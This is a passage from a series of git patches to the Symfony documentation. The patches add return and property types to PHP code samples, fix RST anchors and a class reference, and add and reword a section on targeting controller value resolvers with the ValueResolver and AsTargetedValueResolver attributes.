         // ...
     }
diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 3f1fa45f547..663118504cc 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -71,7 +71,7 @@ You can mark the service as ``lazy`` by manipulating its definition:
 
         use App\Twig\AppExtension;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(AppExtension::class)->lazy();
@@ -152,7 +152,7 @@ specific interfaces.
         use App\Twig\AppExtension;
         use Twig\Extension\ExtensionInterface;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(AppExtension::class)
diff --git a/service_container/optional_dependencies.rst b/service_container/optional_dependencies.rst
index c555b7f05c8..bc8f03cf7e0 100644
--- a/service_container/optional_dependencies.rst
+++ b/service_container/optional_dependencies.rst
@@ -38,7 +38,7 @@ if the service does not exist:
 
         use App\Newsletter\NewsletterManager;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(NewsletterManager::class)
@@ -94,7 +94,7 @@ call if the service exists and remove the method call if it does not:
 
         use App\Newsletter\NewsletterManager;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(NewsletterManager::class)
diff --git a/service_container/parent_services.rst b/service_container/parent_services.rst
index 1719176f34b..6fea615bc63 100644
--- a/service_container/parent_services.rst
+++ b/service_container/parent_services.rst
@@ -15,7 +15,7 @@ you may have multiple repository classes which need the
     // ...
     abstract class BaseDoctrineRepository
     {
-        protected $logger;
+        protected LoggerInterface $logger;
 
         public function __construct(
             protected ObjectManager $objectManager,
@@ -118,7 +118,7 @@ avoid duplicated service definitions:
         use App\Repository\DoctrinePostRepository;
         use App\Repository\DoctrineUserRepository;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(BaseDoctrineRepository::class)
@@ -227,7 +227,7 @@ the child class:
         use App\Repository\DoctrineUserRepository;
         // ...
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(BaseDoctrineRepository::class)
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index f32c0cc271c..b772fbd2ad3 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -41,7 +41,7 @@ When overriding an existing definition, the original service is lost:
         use App\Mailer;
         use App\NewMailer;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(Mailer::class);
@@ -112,7 +112,7 @@ but keeps a reference of the old one as ``.inner``:
         use App\DecoratingMailer;
         use App\Mailer;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(Mailer::class);
@@ -200,7 +200,7 @@ automatically changed to ``'.inner'``):
         use App\DecoratingMailer;
         use App\Mailer;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(Mailer::class);
@@ -266,7 +266,7 @@ automatically changed to ``'.inner'``):
             use App\DecoratingMailer;
             use App\Mailer;
 
-            return function(ContainerConfigurator $container) {
+            return function(ContainerConfigurator $container): void {
                 $services = $container->services();
 
                 $services->set(Mailer::class);
@@ -355,7 +355,7 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(\Foo::class);
@@ -442,7 +442,7 @@ ordered services, each one decorating the next:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $container->services()
                 ->stack('decorated_foo_stack', [
                     inline_service(\Baz::class)->args([service('.inner')]),
@@ -525,7 +525,7 @@ advanced example of composition:
         use App\Decorated;
         use App\Decorator;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $container->services()
                 ->set('some_decorator', Decorator::class)
 
@@ -657,7 +657,7 @@ Three different behaviors are available:
 
         use Symfony\Component\DependencyInjection\ContainerInterface;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(Foo::class);
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 0844a74be43..babb7849fa8 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -232,7 +232,7 @@ service type to a service.
 
         use App\CommandBus;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(CommandBus::class)
@@ -379,7 +379,7 @@ or directly via PHP attributes:
 
         use App\CommandBus;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(CommandBus::class)
@@ -458,7 +458,7 @@ other services. To do so, create a new service definition using the
 
         use Symfony\Component\DependencyInjection\ServiceLocator;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set('app.command_handler_locator', ServiceLocator::class)
@@ -519,7 +519,7 @@ Now you can inject the service locator in any other services:
 
         use App\CommandBus;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(CommandBus::class)
@@ -627,7 +627,7 @@ of the ``key`` tag attribute (as defined in the ``index_by`` locator option):
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(App\Handler\One::class)
@@ -734,7 +734,7 @@ attribute to the locator service defining the name of this custom method:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $container->services()
                 ->set(App\HandlerCollection::class)
                     ->args([tagged_locator('app.handler', 'key', 'myOwnMethodName')])
diff --git a/service_container/shared.rst b/service_container/shared.rst
index 435822fb25c..85db809a840 100644
--- a/service_container/shared.rst
+++ b/service_container/shared.rst
@@ -33,7 +33,7 @@ in your service definition:
 
         use App\SomeNonSharedService;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(SomeNonSharedService::class)
diff --git a/service_container/synthetic_services.rst b/service_container/synthetic_services.rst
index fc26c6848d3..b2bc5e72f53 100644
--- a/service_container/synthetic_services.rst
+++ b/service_container/synthetic_services.rst
@@ -63,7 +63,7 @@ configuration:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             // synthetic services don't specify a class
diff --git a/service_container/tags.rst b/service_container/tags.rst
index a2639729ff8..64c673d131c 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -37,7 +37,7 @@ example:
 
         use App\Twig\AppExtension;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(AppExtension::class)
@@ -103,7 +103,7 @@ If you want to apply tags automatically for your own services, use the
 
         use App\Security\CustomInterface;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             // this config only applies to the services created by this file
@@ -273,7 +273,7 @@ Then, define the chain as a service:
 
         use App\Mail\TransportChain;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(TransportChain::class);
@@ -327,7 +327,7 @@ For example, you may add the following transports as services:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(\MailerSmtpTransport::class)
@@ -495,7 +495,7 @@ To answer this, change the service declaration:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(\MailerSmtpTransport::class)
@@ -654,7 +654,7 @@ directly via PHP attributes:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(App\Handler\One::class)
@@ -801,7 +801,7 @@ the number, the earlier the tagged service will be located in the collection:
 
         use App\Handler\One;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(One::class)
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 9ec87790d3e..105a6b5afdc 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -46,7 +46,7 @@ You can use ``#[HasNamedArguments]`` to make some constraint options required::
     #[\Attribute]
     class ContainsAlphanumeric extends Constraint
     {
-        public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
+        public string $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
 
         #[HasNamedArguments]
         public function __construct(
diff --git a/validation/severity.rst b/validation/severity.rst
index e45e04d089e..632a99519d9 100644
--- a/validation/severity.rst
+++ b/validation/severity.rst
@@ -31,13 +31,13 @@ Use the ``payload`` option to configure the error level for each constraint:
         class User
         {
             #[Assert\NotBlank(payload: ['severity' => 'error'])]
-            protected $username;
+            protected string $username;
 
             #[Assert\NotBlank(payload: ['severity' => 'error'])]
-            protected $password;
+            protected string $password;
 
             #[Assert\Iban(payload: ['severity' => 'warning'])]
-            protected $bankAccountNumber;
+            protected string $bankAccountNumber;
         }
 
     .. code-block:: yaml
@@ -101,7 +101,9 @@ Use the ``payload`` option to configure the error level for each constraint:
 
         class User
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('username', new Assert\NotBlank([
                     'payload' => ['severity' => 'error'],

From 82d8a0b90baef94afd0d6825a9242be5ee6ef2bf Mon Sep 17 00:00:00 2001
From: Tugdual Saunier <tucksaun@users.noreply.github.com>
Date: Fri, 2 Jun 2023 08:53:49 -0400
Subject: [PATCH 4683/7107] [DependencyInjection] Fix broken reference to
 `Exclude` attribute

---
 service_container.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index f361845f996..ddafeed43fd 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1070,12 +1070,12 @@ key. For example, the default Symfony configuration contains this:
 
     The value of the ``resource`` and ``exclude`` options can be any valid
     `glob pattern`_. If you want to exclude only a few services, you
-    may use the :class:`Symfony\\Component\\Dependency\Injection\\Attribute\\Exclude`
+    may use the :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Exclude`
     attribute directly on your class to exclude it.
 
     .. versionadded:: 6.3
 
-        The :class:`Symfony\\Component\\Dependency\Injection\\Attribute\\Exclude`
+        The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Exclude`
         attribute was introduced in Symfony 6.3.
 
 This can be used to quickly make many classes available as services and apply some

From ba4d99e7675bb4d8c19b2c49ac656b2cdab54a69 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Fri, 2 Jun 2023 16:42:59 +0200
Subject: [PATCH 4684/7107] Update flex_private_recipes.rst

Fix bad anchor flex_private_recipes
---
 setup/flex_private_recipes.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/flex_private_recipes.rst b/setup/flex_private_recipes.rst
index abecdfd5039..d4d3156466d 100644
--- a/setup/flex_private_recipes.rst
+++ b/setup/flex_private_recipes.rst
@@ -16,7 +16,7 @@ perform their own installation tasks. To do this, you need to complete several s
 * Configure your project's ``composer.json`` file; and
 * Install the recipes in your project.
 
-.. _create-a-private-github-repository
+.. _create-a-private-github-repository:
 
 Create a Private Repository
 ---------------------------

From 67b3c69441d6172a87b838d78b7206dccc42937d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 3 Jun 2023 19:49:44 +0200
Subject: [PATCH 4685/7107] [PhpUnitBridge] Fix missing backtick

---
 components/phpunit_bridge.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index ac5e9bbdbf5..b0d48b4c3aa 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -530,7 +530,7 @@ Clock Mocking
 
 The :class:`Symfony\\Bridge\\PhpUnit\\ClockMock` class provided by this bridge
 allows you to mock the PHP's built-in time functions ``time()``, ``microtime()``,
-``sleep()``, ``usleep()``, ``gmdate()``, and ``hrtime()`. Additionally the
+``sleep()``, ``usleep()``, ``gmdate()``, and ``hrtime()``. Additionally the
 function ``date()`` is mocked so it uses the mocked time if no timestamp is
 specified.
 

From 7fc8065113ed9462b6cc38023aba899097d90800 Mon Sep 17 00:00:00 2001
From: Mathieu <mathieu.lechat@les-tilleuls.coop>
Date: Tue, 28 Feb 2023 11:17:49 +0100
Subject: [PATCH 4686/7107] Document
 https://github.com/symfony/symfony/pull/48992

---
 controller/value_resolver.rst | 125 ++++++++++++++++++++++++++++++++--
 reference/attributes.rst      |   4 +-
 2 files changed, 122 insertions(+), 7 deletions(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 0f30fd2d0f1..4c990ac59da 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -213,6 +213,83 @@ PSR-7 Objects Resolver:
     :class:`Psr\\Http\\Message\\RequestInterface` or :class:`Psr\\Http\\Message\\MessageInterface`.
     It requires installing :doc:`the PSR-7 Bridge </components/psr7>` component.
 
+Managing Value Resolvers
+------------------------
+
+For each argument, every resolver tagged with ``controller.argument_value_resolver``
+will be called until one provides a value. The order in which they are called depends
+on their priority. For example, the ``SessionValueResolver`` (priority 50) will be
+called before the ``DefaultValueResolver`` (priority -100) which allows to write e.g.
+``SessionInterface $session = null`` to get the session if there is one, or ``null``
+if there is none.
+
+But what if you *know* there will be a session? In that case every resolver running
+before ``SessionValueResolver`` is useless. Worse, some of these could actually
+provide a value before ``SessionValueResolver`` has a chance to (don't worry though,
+this won't happen with built-in resolvers). Since Symfony 6.3, this kind of issue
+can be resolved by leveraging the
+:class:`Symfony\\Component\\HttpKernel\\Attribute\\ValueResolver` attribute::
+
+    // src/Controller/SessionController.php
+    namespace App\Controller;
+
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpKernel\Attribute\ValueResolver;
+    use Symfony\Component\HttpKernel\Controller\ArgumentResolver\SessionValueResolver;
+    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\HttpFoundation\Session\SessionInterface;
+
+    class SessionController
+    {
+        #[Route('/')]
+        public function __invoke(
+            #[ValueResolver(SessionValueResolver::class)]
+            SessionInterface $session
+        ): Response
+        {
+            // ...
+        }
+    }
+
+.. versionadded:: 6.3
+
+    The ``ValueResolver`` attribute was introduced in Symfony 6.3.
+
+You can target a resolver by passing its name (more on that later) as ``ValueResolver``'s
+first argument. For convenience, built-in resolvers' name are their FQCN.
+
+By default, a targeted resolver is "pinned" to the argument holding the
+``ValueResolver`` attribute, meaning that only it will be called to provide a value,
+and that it will have to.
+
+In the above example the ``DefaultValueResolver`` would never be called, so adding a
+default value to ``$session`` would be useless. If we need one, then it is fine not
+to use ``ValueResolver``.
+But then, what if we want to prevent an hypothetic ``EagerValueResolver`` to provide a
+value before ``SessionValueResolver``? Time to use ``ValueResolver``'s second argument!
+By passing it to ``true``, you can disable the targeted resolver::
+
+    // src/Controller/SessionController.php
+    namespace App\Controller;
+
+    use App\ArgumentResolver\EagerValueResolver;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpKernel\Attribute\ValueResolver;
+    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\HttpFoundation\Session\SessionInterface;
+
+    class SessionController
+    {
+        #[Route('/')]
+        public function __invoke(
+            #[ValueResolver(EagerValueResolver::class, disabled: true)]
+            SessionInterface $session = null
+        ): Response
+        {
+            // ...
+        }
+    }
+
 Adding a Custom Value Resolver
 ------------------------------
 
@@ -297,8 +374,13 @@ When those requirements are met, the method creates a new instance of the
 custom value object and returns it as the value for this argument.
 
 That's it! Now all you have to do is add the configuration for the service
-container. This can be done by tagging the service with ``controller.argument_value_resolver``
-and adding a priority:
+container. This can be done by adding one of the following tags to your value resolver.
+
+``controller.argument_value_resolver``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+This tag is automatically added to every service implementing ``ValueResolverInterface``,
+but you can set it yourself to change its ``priority`` or ``name`` attributes.
 
 .. configuration-block::
 
@@ -313,7 +395,9 @@ and adding a priority:
 
             App\ValueResolver\BookingIdValueResolver:
                 tags:
-                    - { name: controller.argument_value_resolver, priority: 150 }
+                    - controller.argument_value_resolver:
+                        name: booking_id
+                        priority: 150
 
     .. code-block:: xml
 
@@ -330,7 +414,7 @@ and adding a priority:
                 <!-- ... -->
 
                 <service id="App\ValueResolver\BookingIdValueResolver">
-                    <tag name="controller.argument_value_resolver" priority="150"/>
+                    <tag name="booking_id" priority="150"/>controller.argument_value_resolver</tag>
                 </service>
             </services>
 
@@ -347,7 +431,7 @@ and adding a priority:
             $services = $containerConfigurator->services();
 
             $services->set(BookingIdValueResolver::class)
-                ->tag('controller.argument_value_resolver', ['priority' => 150])
+                ->tag('controller.argument_value_resolver', ['name' => 'booking_id', 'priority' => 150])
             ;
         };
 
@@ -364,3 +448,34 @@ command to see which argument resolvers are present and in which order they run:
 .. code-block:: terminal
 
     $ php bin/console debug:container debug.argument_resolver.inner --show-arguments
+
+You can also configure the name passed to the ``ValueResolver`` attribute to target
+your resolver. Otherwise it will default to the service's id.
+
+``controller.targeted_value_resolver``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Set this tag if you want your resolver to be called only if it is pinned by a
+``ValueResolver`` attribute. Like ``controller.argument_value_resolver``, you
+can customize the name by which your resolver can be targeted.
+
+As an alternative, you can add the
+:class:`Symfony\\Component\\HttpKernel\\Attribute\\AsTargetedValueResolver` attribute
+to your resolver and pass your custom name as its first argument::
+
+    // src/ValueResolver/IdentifierValueResolver.php
+    namespace App\ValueResolver;
+
+    use Symfony\Component\HttpKernel\Attribute\AsTargetedValueResolver;
+    use Symfony\Component\HttpKernel\Controller\ValueResolverInterface;
+
+    #[AsTargetedValueResolver('booking_id')]
+    class BookingIdValueResolver implements ValueResolverInterface
+    {
+        // ...
+    }
+
+.. versionadded:: 6.3
+
+    The ``controller.targeted_value_resolver`` tag and ``AsTargetedValueResolver``
+    attribute were introduced in Symfony 6.3.
diff --git a/reference/attributes.rst b/reference/attributes.rst
index 2cabf9de7bd..e7507949e97 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -54,13 +54,13 @@ HttpKernel
 ~~~~~~~~~~
 
 * :doc:`AsController </controller/service>`
-* :class:`Symfony\\Component\\HttpKernel\\Attribute\\AsPinnedValueResolver`
+* :ref:`AsTargetedValueResolver <controller-targeted-value-resolver>`
 * :ref:`Cache <http-cache-expiration-intro>`
 * :ref:`MapDateTime <functionality-shipped-with-the-httpkernel>`
 * :ref:`MapQueryParameter <controller_map-request>`
 * :ref:`MapQueryString <controller_map-request>`
 * :ref:`MapRequestPayload <controller_map-request>`
-* :class:`Symfony\\Component\\HttpKernel\\Attribute\\ValueResolver`
+* :ref:`ValueResolver <managing-value-resolvers>`
 * :ref:`WithHttpStatus <framework_exceptions>`
 * :ref:`WithLogLevel <framework_exceptions>`
 

From 50450a43aef07d7b6037db66f9e8c9fe85f14e1a Mon Sep 17 00:00:00 2001
From: MatTheCat <math.lechat@gmail.com>
Date: Fri, 21 Apr 2023 11:11:12 +0200
Subject: [PATCH 4687/7107] Address
 https://github.com/symfony/symfony-docs/pull/17763#discussion_r1173363869

---
 controller/value_resolver.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 4c990ac59da..8cab4a1cb2f 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -475,6 +475,23 @@ to your resolver and pass your custom name as its first argument::
         // ...
     }
 
+You can then pass this name as ``ValueResolver``'s first argument to pin your resolver::
+
+    // src/Controller/BookingController.php
+    namespace App\Controller;
+
+    use App\Reservation\BookingId;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpKernel\Attribute\ValueResolver;
+
+    class BookingController
+    {
+        public function index(#[ValueResolver('booking_id')] BookingId $id): Response
+        {
+            // ... do something with $id
+        }
+    }
+
 .. versionadded:: 6.3
 
     The ``controller.targeted_value_resolver`` tag and ``AsTargetedValueResolver``

From 1009ca2d7ca11133377b8f254841a3e92ed901ef Mon Sep 17 00:00:00 2001
From: MatTheCat <math.lechat@gmail.com>
Date: Sun, 4 Jun 2023 10:16:06 +0200
Subject: [PATCH 4688/7107] Do not hardcode priorities

---
 controller/value_resolver.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 8cab4a1cb2f..0adfe7074fc 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -218,8 +218,8 @@ Managing Value Resolvers
 
 For each argument, every resolver tagged with ``controller.argument_value_resolver``
 will be called until one provides a value. The order in which they are called depends
-on their priority. For example, the ``SessionValueResolver`` (priority 50) will be
-called before the ``DefaultValueResolver`` (priority -100) which allows to write e.g.
+on their priority. For example, the ``SessionValueResolver`` will be called before the
+``DefaultValueResolver`` because its priority is higher. This allows to write e.g.
 ``SessionInterface $session = null`` to get the session if there is one, or ``null``
 if there is none.
 

From 31edf49e117350c8167fb151a4906ab130271378 Mon Sep 17 00:00:00 2001
From: MatTheCat <math.lechat@gmail.com>
Date: Sun, 4 Jun 2023 10:18:12 +0200
Subject: [PATCH 4689/7107] Fix code samples

---
 controller/value_resolver.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 0adfe7074fc..3eae4ecf2af 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -234,10 +234,10 @@ can be resolved by leveraging the
     namespace App\Controller;
 
     use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpFoundation\Session\SessionInterface;
     use Symfony\Component\HttpKernel\Attribute\ValueResolver;
     use Symfony\Component\HttpKernel\Controller\ArgumentResolver\SessionValueResolver;
     use Symfony\Component\Routing\Annotation\Route;
-    use Symfony\Component\HttpFoundation\Session\SessionInterface;
 
     class SessionController
     {
@@ -274,9 +274,9 @@ By passing it to ``true``, you can disable the targeted resolver::
 
     use App\ArgumentResolver\EagerValueResolver;
     use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpFoundation\Session\SessionInterface;
     use Symfony\Component\HttpKernel\Attribute\ValueResolver;
     use Symfony\Component\Routing\Annotation\Route;
-    use Symfony\Component\HttpFoundation\Session\SessionInterface;
 
     class SessionController
     {
@@ -414,7 +414,7 @@ but you can set it yourself to change its ``priority`` or ``name`` attributes.
                 <!-- ... -->
 
                 <service id="App\ValueResolver\BookingIdValueResolver">
-                    <tag name="booking_id" priority="150"/>controller.argument_value_resolver</tag>
+                    <tag name="booking_id" priority="150">controller.argument_value_resolver</tag>
                 </service>
             </services>
 

From ac13dfc54c500e7195e499687b40dddc3541454b Mon Sep 17 00:00:00 2001
From: MatTheCat <math.lechat@gmail.com>
Date: Sun, 4 Jun 2023 11:11:53 +0200
Subject: [PATCH 4690/7107] =?UTF-8?q?Update=20=E2=80=9CManaging=20Value=20?=
 =?UTF-8?q?Resolvers=E2=80=9D=20section?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 controller/value_resolver.rst | 56 +++++++++++------------------------
 1 file changed, 18 insertions(+), 38 deletions(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 3eae4ecf2af..f605c93371b 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -223,12 +223,13 @@ on their priority. For example, the ``SessionValueResolver`` will be called befo
 ``SessionInterface $session = null`` to get the session if there is one, or ``null``
 if there is none.
 
-But what if you *know* there will be a session? In that case every resolver running
-before ``SessionValueResolver`` is useless. Worse, some of these could actually
-provide a value before ``SessionValueResolver`` has a chance to (don't worry though,
-this won't happen with built-in resolvers). Since Symfony 6.3, this kind of issue
-can be resolved by leveraging the
-:class:`Symfony\\Component\\HttpKernel\\Attribute\\ValueResolver` attribute::
+In that specific case, you don't need any resolver running before
+``SessionValueResolver``, so skipping them would not only improve performance,
+but also prevent one of them providing a value before ``SessionValueResolver``
+has a chance to.
+
+The :class:`Symfony\\Component\\HttpKernel\\Attribute\\ValueResolver` attribute lets you
+do this by "targeting" the resolver you want::
 
     // src/Controller/SessionController.php
     namespace App\Controller;
@@ -244,7 +245,7 @@ can be resolved by leveraging the
         #[Route('/')]
         public function __invoke(
             #[ValueResolver(SessionValueResolver::class)]
-            SessionInterface $session
+            SessionInterface $session = null
         ): Response
         {
             // ...
@@ -255,40 +256,19 @@ can be resolved by leveraging the
 
     The ``ValueResolver`` attribute was introduced in Symfony 6.3.
 
-You can target a resolver by passing its name (more on that later) as ``ValueResolver``'s
-first argument. For convenience, built-in resolvers' name are their FQCN.
-
-By default, a targeted resolver is "pinned" to the argument holding the
-``ValueResolver`` attribute, meaning that only it will be called to provide a value,
-and that it will have to.
+In the example above, the ``SessionValueResolver`` will be called first because it is
+targeted. The ``DefaultValueResolver`` will be called next if no value has been provided;
+that's why we can assign ``null`` as ``$session``'s default value.
 
-In the above example the ``DefaultValueResolver`` would never be called, so adding a
-default value to ``$session`` would be useless. If we need one, then it is fine not
-to use ``ValueResolver``.
-But then, what if we want to prevent an hypothetic ``EagerValueResolver`` to provide a
-value before ``SessionValueResolver``? Time to use ``ValueResolver``'s second argument!
-By passing it to ``true``, you can disable the targeted resolver::
-
-    // src/Controller/SessionController.php
-    namespace App\Controller;
+We target a resolver by passing its name as ``ValueResolver``'s first argument.
+For convenience, built-in resolvers' name are their FQCN.
 
-    use App\ArgumentResolver\EagerValueResolver;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\HttpFoundation\Session\SessionInterface;
-    use Symfony\Component\HttpKernel\Attribute\ValueResolver;
-    use Symfony\Component\Routing\Annotation\Route;
+The ``ValueResolver`` attribute can also be used to disable the targeted resolver
+by passing its ``$disabled`` argument to ``true``, in which case it won't be called.
+This is how :ref:`MapEntity allows to disable the EntityValueResolver
+for a specific controller <doctrine-entity-value-resolver>`.
+Yes, ``MapEntity`` extends ``ValueResolver``!
 
-    class SessionController
-    {
-        #[Route('/')]
-        public function __invoke(
-            #[ValueResolver(EagerValueResolver::class, disabled: true)]
-            SessionInterface $session = null
-        ): Response
-        {
-            // ...
-        }
-    }
 
 Adding a Custom Value Resolver
 ------------------------------

From 432c2ebbdcac7ff93d3e1577a9948c5f43524279 Mon Sep 17 00:00:00 2001
From: MatTheCat <math.lechat@gmail.com>
Date: Sun, 4 Jun 2023 11:19:46 +0200
Subject: [PATCH 4691/7107] =?UTF-8?q?Remove=20=E2=80=9Cpin=E2=80=9D=20usag?=
 =?UTF-8?q?e=20remnants?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 controller/value_resolver.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index f605c93371b..736b8938201 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -435,7 +435,7 @@ your resolver. Otherwise it will default to the service's id.
 ``controller.targeted_value_resolver``
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Set this tag if you want your resolver to be called only if it is pinned by a
+Set this tag if you want your resolver to be called only if it is targeted by a
 ``ValueResolver`` attribute. Like ``controller.argument_value_resolver``, you
 can customize the name by which your resolver can be targeted.
 
@@ -455,7 +455,7 @@ to your resolver and pass your custom name as its first argument::
         // ...
     }
 
-You can then pass this name as ``ValueResolver``'s first argument to pin your resolver::
+You can then pass this name as ``ValueResolver``'s first argument to target your resolver::
 
     // src/Controller/BookingController.php
     namespace App\Controller;

From b57df5476580bfcaf5ab4903c4545eb08a8e52b0 Mon Sep 17 00:00:00 2001
From: MatTheCat <math.lechat@gmail.com>
Date: Sun, 4 Jun 2023 11:24:13 +0200
Subject: [PATCH 4692/7107] Reword disabled resolvers paragraph

---
 controller/value_resolver.rst | 8 +++-----
 1 file changed, 3 insertions(+), 5 deletions(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 736b8938201..0c017f8d1c1 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -263,13 +263,11 @@ that's why we can assign ``null`` as ``$session``'s default value.
 We target a resolver by passing its name as ``ValueResolver``'s first argument.
 For convenience, built-in resolvers' name are their FQCN.
 
